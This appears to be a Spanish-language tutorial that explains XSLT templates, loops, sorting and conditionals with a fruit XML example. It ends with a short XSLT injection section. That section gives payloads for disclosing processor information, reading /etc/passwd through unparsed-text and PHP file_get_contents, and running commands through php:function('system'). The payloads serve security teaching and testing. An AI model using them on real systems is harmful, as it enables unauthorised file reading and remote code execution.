eXtensible Stylesheet Language Transformation (XSLT)
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
<fruit>
<name>Apple</name>
<color>Red</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Banana</name>
<color>Yellow</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Strawberry</name>
<color>Red</color>
<size>Small</size>
</fruit>
</fruits><xsl:template>: Este elemento indica una plantilla XSL. Puede contener un atributo match que contiene una ruta en el documento XML al que se aplica la plantilla.<xsl:value-of>: Este elemento extrae el valor del nodo XML especificado en el atributo select.<xsl:for-each>: Este elemento permite realizar un bucle sobre todos los nodos XML especificados en el atributo select.
Here are all the fruits:
Apple (Red)
Banana (Yellow)
Strawberry (Red)Por ejemplo, un documento XSLT sencillo utilizado para generar todas las frutas contenidas en el documento XML, así como su color, podría tener el siguiente aspecto:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>Como podemos ver, el documento XSLT contiene un único elemento XSL <xsl:template> que se aplica al nodo <fruits> del documento XML. La plantilla consta de la cadena estática «Aquí están todas las frutas:» y un bucle sobre todos los nodos <fruit> del documento XML. Para cada uno de estos nodos, los valores de los nodos <name> y <color> se imprimen utilizando el elemento XSL <xsl:value-of>. Al combinar el documento XML de ejemplo con los datos XSLT anteriores, se obtiene el siguiente resultado:
text
Here are all the fruits:
Apple (Red)
Banana (Yellow)
Strawberry (Red)<xsl:sort>: Este elemento especifica cómo ordenar los elementos en un bucle «for» en el argumento «select». Además, se puede especificar un orden de clasificación en el argumento «order». <xsl:if>: Este elemento se puede utilizar para comprobar las condiciones de un nodo. La condición se especifica en el argumento «test».
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all fruits of medium size ordered by their color:
<xsl:for-each select="fruit">
<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:if>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>- Output
text
Here are all fruits of medium size ordered by their color:
Banana (Yellow)
Apple (Red)Explotando XSLT Injection
Information Disclosure
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />Local File Inclusion (LFI)
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" /><xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />Remote Code Execution (RCE)
<xsl:value-of select="php:function('system','id')" />